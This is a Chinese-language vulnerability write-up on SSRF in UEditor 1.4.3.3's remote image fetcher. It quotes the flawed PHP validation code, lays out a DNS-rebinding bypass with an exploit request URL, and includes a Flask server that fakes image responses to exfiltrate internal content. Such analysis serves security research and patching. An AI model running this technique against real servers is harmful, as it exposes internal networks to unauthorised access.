点以前挖的洞。Ueditor是支持获取远程图片,较为经典的进行限制url请求,但是可以通过DNS重绑定绕过其验证.

代码分析

一般请求的url如下,其中source为数组,值为图片地址:

/editor/ueditor/php/controller.php?action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo_top_86d58ae1.png

  

主要跟踪这段代码: /php/Uploader.class.php:173

private function saveRemote()
{
$imgUrl = htmlspecialchars($this->fileField);
$imgUrl = str_replace("&", "&", $imgUrl); //http开头验证
if (strpos($imgUrl, "http") !== 0) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");
return;
} preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches);
$host_with_protocol = count($matches) > 1 ? $matches[1] : ''; // 判断是否是合法 url
if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) {
$this->stateInfo = $this->getStateInfo("INVALID_URL");
return;
} preg_match('/^https*:\/\/(.+)/', $host_with_protocol, $matches);
$host_without_protocol = count($matches) > 1 ? $matches[1] : ''; // 此时提取出来的可能是 ip 也有可能是域名,先获取 ip
$ip = gethostbyname($host_without_protocol);
// 判断是否是私有 ip
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
$this->stateInfo = $this->getStateInfo("INVALID_IP");
return;
} //获取请求头并检测死链
$heads = get_headers($imgUrl, 1);
if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
$this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
return;
}
//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower(strrchr($imgUrl, '.'));
if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
return;
} //打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array('http' => array(
'follow_location' => false // don't follow redirects
))
);
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
...省略
}

整个流程大概如下:
1、判断是否是合法http的url地址
2、利用gethostbyname来解析判断是否是内网IP
3、利用get_headers进行http请求,来判断请求的图片资源是否正确,比如状态码为200、响应content-type是否为image (SSRF漏洞触发处)
4、最终用readfile来进行最后的资源获取,来获取图片内容

所以在利用DNS重绑定时候,我们可以这样做
第一次请求 -> 外网ip
第二次请求 -> 内网ip
第三次请求 -> 内网ip

1.4.3.3 DNS重绑定利用过程

其实单纯的第二次就已经有了HTTP请求,所以可以很容易的进行一些攻击.

/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png

其中my.ip设置了重绑定
第一次dns请求是调用了gethostbyname函数 -> 外网ip
第二次dns请求是调用了get_headers函数 -> 内网ip

其中返回内容state为链接contentType不正确,表示请求成功了!
如果返回为非法 IP则表示DNS重绑定时候第一次是为内网IP,这时需要调整一下绑定顺序.


但是会剩一个问题就是: 能不能获取到SSRF请求后的回显内容!
第三个请求便可以做到,因为会将请求的内容保存为图片,我们获取图片内容即可.

但是得先把第二次请求限制绕过

!(stristr($heads[0], "200") && stristr($heads[0], "OK"))

!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")

这两个条件语句也就是限定了请求得需要为200状态、并且响应头的content-type是image
所以第二次请求最好是我们可控的服务器,这样才能绕过它的限制.

所以在利用DNS重绑定时候,我们可以这样做
第一次请求 -> 外网ip
第二次请求 -> 外网ip (外网server)
第三次请求 -> 内网ip (内网攻击地址)

第二次请求的外网server需要定制一下,也就任何请求都返回200,并且content-type为image

from flask import Flask, Response
from werkzeug.routing import BaseConverter class Regex_url(BaseConverter):
def __init__(self,url_map,*args):
super(Regex_url,self).__init__(url_map)
self.regex = args[0] app = Flask(__name__)
app.url_map.converters['re'] = Regex_url @app.route('/<re(".*?"):tmp>')
def test(tmp):
image = 'Test'
#image = file("demo.jpg")
resp = Response(image, mimetype="image/jpeg")
return resp if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)


上面的都是一些理论的说明,事实上,有些DNS会存在缓存问题,导致出现出现结果很不稳定。

第一步: 搭建后外网的server,左边的为第二次请求(外网),右边为第三次请求(内网)

第二步: 进行请求,其中网址是有dns重绑定

第三步: 可以根据返回的图片地址,请求后便可以获取到内网web的ssrf的响应内容

know it then do it

Ueditor Version 1.4.3.3 SSRF的更多相关文章

  1. ueditor插件简单使用

    下载地址:http://ueditor.baidu.com/website/download.html 建议同时下载所需版本及完整源码.   [ 1.4.3 JSP + 完整源码src ] 简单配置说 ...

  2. ueditor使用小结

    一.简介 ueditor是百度编辑器,官网地址:http://ueditor.baidu.com/website/ 完整的功能演示,可以参考:http://ueditor.baidu.com/webs ...

  3. springmvc学习笔记--ueditor和springmvc的集成

    前言: 在web开发中, 富文本的编辑器真心很重要. 有电商店铺的打理, 新闻稿/博客文章/论坛帖子的编辑等等, 这种所见即所的编辑方式, 大大方便了非技术人员从事互利网相关的工作. 因为手头有个小项 ...

  4. ueditor 上传的图片在内容里显示的尺寸过大的问题

    没改动之前是上面这样的,图片显示不开,撑出了滚动条,想让他自适应100%,不出现滚动条 网上有方法 1.ueditor 的 themes 文件夹下有个iframe.css 加入以下代码,保存(原先的c ...

  5. UEditor上传图片到七牛云储存(java)

    我们的网站一般放在虚拟空间或者服务器上,图片如果存在本地目录,会占用很多空间和流量,还增加了负担,好的办法是把图片存放到云储存服务里面,平时用url去拿 云储存:普遍说又拍云和七牛比较好,看到七牛免费 ...

  6. 【UEditor】 UEditor整合项目上传资源到阿里云服务器

    目录 关于此文 下载源码 JSP代码 Java代码 阿里云jar包引入配置 成功啦! 回到顶部 关于此文 项目中要实现编辑器生成带格式的html文档,存入模板,最后生成html的URL,所以选择了UE ...

  7. 初试“七牛云”--零基础运用七牛云配合UEditor实现图片的上传和浏览(.NET篇)

    (注册和建立存储空间就不介绍了,网上一把一把的资料,自己试着点点也能明白) 作为一个成熟的菜鸟,如果遇到一个新问题,第一步当然是先百度一下... 看了N个关于七牛云的使用的帖子,表示还是蒙圈的,看懂了 ...

  8. 百度编辑器 ueditor .net开发

    ueditor1.4.3 下载地址:http://pan.baidu.com/s/1bnCQVtd   <!--editor--> <script type="text/j ...

  9. ueditor上传图片到七牛云存储(form api,java)

    转:http://my.oschina.net/duoduo3369/blog/174655 ueditor上传图片到七牛云存储 ueditor结合七牛传图片 七牛的试炼 开发前的准备与注意事项说明 ...

随机推荐

  1. 深入浅出Mybatis系列(九)---缓存

    MyBatis系统中默认定义了两级缓存:一级缓存和二级缓存. 1.默认情况下,只有一级缓存(SqlSession级别的缓存,也称为本地缓存)开启. 2.二级缓存需要手动开启和配置,他是基于namesp ...

  2. linux 下的用户的管理

  3. mzy对于反射的复习

    反射其实就是指在超脱规则的束缚,从强引用到弱相关,在上帝视角做事情,对于写配置文件,和一些框架的源码,得到调用上至关重要,java带有解释器的语法特性,使得泛型一类的语法糖和反射配合之后更如鱼得水! ...

  4. servlet中servletContext的五大作用(三)

    1.    获取web的上下文路径 2.    获取全局的参数 3.    作为域对象使用 4.    请求转发 5.    读取web项目的资源文件 package day10.about_serv ...

  5. 再过五分钟,你就懂 HTTP 2.0 了!

    Hey guys ,各位小伙伴们大家好,这里是程序员 cxuan,欢迎你收看我最新一期的文章. 这篇文章我们来聊一聊 HTTP 2.0,以及 HTTP 2.0 它在 HTTP 1.1 的基础上做了哪些 ...

  6. ros-kinetic install error: sudo rosdep init ImportError: No module named 'rosdep2'

    refer to: https://blog.csdn.net/yueyueniaolzp/article/details/85070093 方法一 将Ubuntu默认python版本设置为2.7 方 ...

  7. JavaScript高级程序设计(读书笔记)之BOM

    BOM(Browser Object Model)提供了很多对象用于访问浏览器的功能,这些功能与任何网页内容无关. 8.1 window对象 BOM的核心对象是window,它表示一个浏览器实例.在浏 ...

  8. 微信小程序基础知识笔记

    微信小程序笔记 文件构成 全局文件 app.json 小程序全局配置文件,必要,自动生成 app.js 小程序入口JS文件,一般只需申明全局变量.处理生命周期以及版本升级即可,必要 app.wxss ...

  9. Python+mirai开发QQ机器人起步教程(2021.9.9测试有效)

    参考:开发 mirai QQ机器人起步教程_叹之-CSDN博客_mirai python 本篇文章参考了以上博客,并对其中的失效内容和版本匹配问题进行了补充修改,实测能够成功运行.部分步骤的运行截图见 ...

  10. docker镜像与容器的导出导入

    导入导出涉及的命令有save.load.export.import # 1) docker save 导出镜像到文件 docker save -o nginx.tar nginx:latest # 2 ...